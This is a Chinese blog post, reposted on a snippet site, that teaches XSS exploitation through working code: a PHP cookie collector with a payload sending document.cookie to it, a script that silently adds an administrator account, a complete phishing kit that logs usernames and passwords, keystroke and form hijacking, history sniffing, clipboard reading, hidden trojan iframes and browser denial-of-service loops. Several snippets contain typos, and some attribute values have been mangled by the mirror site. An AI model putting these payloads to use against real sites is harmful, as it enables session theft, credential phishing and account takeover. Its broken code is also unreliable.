首页 > 代码库 > xss漏洞利用

xss漏洞利用

一、跨站获取cookie

1,hacker端(hacker.php)的程序如下:      

<?php
$cookie=$_GET[‘cookie‘];
$file=fopen("cookie.txt","a");
fwrite($file,$cookie);
fclose($file)
?>


2,受害者端(victim.php)的程序如下:
<html>
<head>
<title>xss跨站原理复现</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit" value="http://www.mamicode.com/提交">
</form>

<?php
$xss=@$_GET[‘xss_input‘];
echo ‘你输入的字符为<br>‘.$xss;
?>

</body>
</html>

3,hacker发给victim的payload语句如下:
http://localhost/victim.php?xss_input=<script>document.location="http://localhost/hacker.php?cookie="+document.cookie</script>
ps:第一次用的事件不是document.location,选择的是window.open事件,But,没有成功。更换浏览器也不照。

4,当victim点击hacker发送的链接后,Victim主机的cookie就被写入到hacker的cookie.txt文档中了,cookie信息也就因此丢失了,那么hacker久可以利用这个cookie信息针对victim做bulabula....


二、会话劫持
xss会话劫持就是攻击者利用xss劫持了用户的会话去执行某些恶意操作。

1,XSS实现权限提升
前提一:抓取到被攻击者添加管理员账号信息时的请求信息,包括请求的URL地址和POST的数据。
前提二:拥有被攻击主机中的cookie信息

xss shellcode如下:

var request=false;
if(window.XMLHttpRequest) {
        request=new XMLHttpRequest();
        if(request.overrideMimeType) {
                request.oveerideMimeType(‘text/xml‘);
        }
}
else if(window.ActiveXObject){
var versions=
[‘Microsoft.XMLHTTP‘,‘MSXML.XMLHTTP‘,‘Microsoft.XMLHTTP‘,‘Msxml2.XMLHTTP.7.0‘,‘Msxml2.XMLHTTP.6.0‘,
‘Msxml2.XMLHTTP.5.0‘,‘Msxml2.XMLHTTP.4.0‘,‘MSXML2.XMLHTTP.3.0‘,‘MSXML2.XMLHTTP‘];
for(var i=0;i<version.length;i++){
try{
request=new ActiveXObject(versions);
} catch(e) {}
}}
xmlhttp=request;

add_admin();
function add_admin(){
var url="/admin/AdminUser/adminUser_Add.asp";                        //请求地址
var params="UserName=xss123&password1=123456&password2=123456Purview=%B9%DC%C0%ED%D4%B1&Submit=%CC%E1%BD%BB";        //提交的数据。这里的user和password均是要添加的信息
xmlhttp.open("POST",url,true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length",params.length);
xmlhttp.setRequestHeader("Connection","close";)
xmlhttp.send(params);
}


三、XSS钓鱼

思路:
针对正常的页面(normal.php)进行伪造钓鱼页面(evil.php)--->创建收集受害者信息的脚步文件(get.php)--->寻找存在漏洞的网站(bug.php)--->根据漏洞情况制作框架文件(xss.js)链接(exploit),发送给受害者--->等待受害者点击,获取信息


具体步骤&代码如下:

1,正常的页面如下:
<form method="post" action="http://www.baidu.com/">//简单点,点击登录直接扔给百度
<input type="text" name="username" value="http://www.mamicode.com/Tason" /><br />
<input type="password" name="password" value="http://www.mamicode.com/P@ss" /><br />
<input type="submit" name="logon"  value="http://www.mamicode.com/Submit" />
</form>

2,钓鱼页面,可以直接从真实网站复制过来。

伪造的页面如下:
<form method="post" action="http://localhost/phishing/get.php">     //get.php为hacker端接收s受害者信息的页面
<input type="text" name="username" value="http://www.mamicode.com/Tason" /><br/>
<input type="password" name="password" value="http://www.mamicode.com/P@ss" /><br />
<input type="submit" name="logon" value="http://www.mamicode.com/Submit"/>
</form>


3,记录信息的脚本文件 get.php 内容如下:
<?php
$data=http://www.mamicode.com/fopen("logfile.txt","a+");//注:logfile文件必须事先创建好
$login=$_POST[‘username‘];
$pass=$_POST[‘password‘];
fwrite($data,"Username:$login\n");
fwrite($data,"Password:$pass\n");
fclose($data);
Header("location:http://www.baidu.com");                                    //信息收集完毕跳转到正常页面
?>

4,存在漏洞的网站bug.php代码内容如下:
<?php
$s1=@$_GET[‘s‘];
echo "<br>";
echo $s1;
?>

5,xss.js文件的作用是创建一个iframe框架覆盖目标页面,再加载远程域伪造的钓鱼页面,内容如下:
document.body.innerHTML=(
‘<div style="position:absolute; top:0px; left:0px; width:100%; height:100%;">‘+
‘<iframe src=http://localhost/phishing/evil.php width=100% height=100%>‘+
‘</iframe></div>‘
);

6,xss钓鱼exploit如下:
http://localhost/phishing/bug.php?s=<script src=http://localhost/phishing/xss.js></script>//bug.php为存在漏洞的网站

7,等待收网


xss钓鱼的方式:
1,xss重定向钓鱼
即把当前页面重定向到钓鱼网站上:
http://localhost/phishing/bug.php?s=<script src=http://localhost/phishing/xss.js></script>

2,html注入式钓鱼
即把钓鱼网站的页面直接加载到链接中:
http://localhost/phishing/bug.php?s=
<html><head><title>login</title></head>
<body><form method="post" action="http://localhost/phishing/get.php">
<input type="text" name="username" value="http://www.mamicode.com/Tason" /><br/>
<input type="password" name="password" value="http://www.mamicode.com/P@ss" /><br />
<input type="submit" name="logon" value="http://www.mamicode.com/Submit"/>
</form></body></html>

3,XSS跨框架钓鱼
即通过<iframe>标签嵌入远程域的页面实施钓鱼
http://localhost/phishing/bug.php?s=<iframe src=http://localhost/phishing/xss.js></iframe> 

4,flash钓鱼
攻击者把精心构造的flash文件上传到远程服务器,然后在目标网站上使用<object><embed>标签去引用flash即可

Tips:
1,劫持链接的onclick事件
for (i=0;i<document.links.length;i++){
document.links.onclick=hijack;
}

2,监听键盘的onkeydown事件
document.onkeydown=function(e){
if(!e) e=window.event;
try{hijack();} catch(ex){}
}

3,劫持表单的输入框
document.onkeyup=function(){
document.forms[‘PassFormlogin‘].onsubmit=function(){
pwd=this.PassInputUsername0.value + ‘|‘ + this.PassInputPassword0.value;
log(escape(pwd));
}}



四,xss history hack
利用css能定义和控制链接样式的特性,能够获取用户浏览器的某些历史记录,甚至是在搜索引擎输入的查询字符
1,链接样式和getComputedStyle()
css中4个伪类用来定义链接的样式,分别是:
a:link未访问的
a:visited  已访问的
a:active激活的,被选择的链接
a:hover光标悬停在其上的链接

新建HTML样例:
<style type="text/css">
a:link{color:blue}
a:visited{color:red}
a:hover{color:yellow}
</style>
<a href="http://www.google.com" id="x">google</a></br>
<a href="http://www.baidu.com" id="x">baidu</a></br>
<a href="http://weibo.com" id="x">weibo</a></br>
<a href="http://qq.com" id="x">qq</a></br>
<a href="http://www.163.com" id="x">163</a>

利用getComputedStyle()来实现侦查某一个人是否访问过一个任意的url。


2,JavaScript/CSS history hack
<html>
<body>
<H3>Visited</H3>
<ul id="visited"></ul>
<H3>Not Visited</H3>
<ul id="notvisited"></ul>
<script>
var   websites=[
"http://www.baidu.com/",
"http://www.zhibo8.cc/",
"http://51cto.com/",
"http://www.sina.com/",
"http://weibo.com/",
"http://www.playsec.com/",
];
for(var i=0;i<websites.length;i++){
var link=document.createElement("a");
    link.id="id"+i;
     link.href=http://www.mamicode.com/websites;
     link.innerHTML=websites;
     document.write(‘<style>‘);
    document.write(‘#id‘ +i + ":visited {color: #FF0000;}");
     document.write(‘</style>‘);
     document.body.appendChild(link);
    var   color=document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
     document.body.removeChild(link);
if (color == "rgb(255,0,0)"){
     var  item=document.createElement(‘li‘);
     item.appendChild(link);
document.getElementById(‘visited‘).appendChild(item);
}  else{
       var   item =document.createElement(‘li‘);
         item.appendChild(link);
         document.getElementById(‘notvisited‘).appendChild(item);
}
}
</script>
</body>
</html>

3,窃取搜索查询
目的是为了收集用户感兴趣的话题,利用这些信息实施网络钓鱼、社会工程学攻击


五,客户端信息探测
1,JavaScript实现端口扫描
ps:个人觉得可以用其他更好的扫描工具,比如nmap

2,截获剪切板内容
通过嵌入网页的JavaScript代码劫持客户端的剪切板,从而获取重要信息
JavaScript中主要使用window.clipboardData对象处理剪切板的内容,有以下三种方法:
clearData(sDataFormat)       //删除剪贴板中指定格式的数据
getData(sDataFormat)          //从剪贴板获取指定格式的数据
setData(sDataFormat,sData) //给剪贴板赋予指定格式的数据

poc如下:
<form id="test" action="test.php" method="post">
  <div  id="someData">
     <textarea  rows="4"  cols="40"  name="test">
</textarea>
  </div>
<input type="button" value="http://www.mamicode.com/复制到剪贴板">
<input type="button" value="http://www.mamicode.com/查看剪贴板内容"  onclick="readClipboard()">
<input type="button" value="http://www.mamicode.com/清除">
</form>
<script>
function  readClipboard(){
          alert(window.clipboardData.getData(‘Text‘));
}
function  setClipboard(){
          var  t=document.getElementById("someData").innerText;
        window.clipboardData.setData(‘text‘,t);
}
</script>

ps:IE浏览器测试成功

3,获取客户端IP地址
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=gb2312">
<title>JavaScript获取客户端IP</title>
</head>
<body>
function GetLocalIPAddress()
{
      var   obj = null;
      var   rslt = "";
     try{
          obj = new ActiveXObject("rcbdyctl.Setting");
          rslt =obj.GetIPAddress;
          obj = null;
}
      catch(e){}
      return  rslt;
}
document.write("你的IP是: "+ GetLocalIPAdress());
</script>
</body>
</html>

六,网页挂马
实现方式一般都是通过篡改网页来实现,例如在xss攻击中使用<iframe>标签,代码如下:
<iframe src=http://localhost/trojan.html width=0 height=0></iframe>
还可以利用JavaScript脚本动态创建窗口并调用网页木马
<script>
document.write("<iframe src=http://localhost/trojan.html width=0 height=0></iframe>")
</script>

七,DOS和DDOS
通过注入而已的JavaScript脚本代码,引起dos攻击,目标是受害人的浏览器,代码如下
<script>for (;;) alert("xss");</script>
保存为html文件发给客户或者通过漏洞调用
http://localhost/victiom.php?s=<script>for(;;)alert("xss");</script>

ps: <meta http-equiv="refresh" content="0">   会强迫受害者不断的刷新当前页面

八,xss virus/worm
xss virus/worm类似于个人计算机平台上的病毒程序,有潜伏、后门的特性,可以用于盗号、窃取用户隐私信息,主要在客户端执行恶意攻击,类似蠕虫般具有自我复制能力的攻击形态。
例如:samy xss worm攻击事件。当时samy在自己的空间的个人简介处植入一段JavaScript代码,每个查看他简介的人会在不知觉间执行这段代码,加samy为好友,然后蠕虫打开受害者的个人简介,写入恶意JavaScript代码,进而任何查看该受害者个人简介的人也会被感染。

最后:有些情况没有测试案例,后续在学习的过程中会继续补充。
Tips:学习&分享

本文出自 “ciscle” 博客,请务必保留此出处http://ciscle.blog.51cto.com/6219171/1904975

xss漏洞利用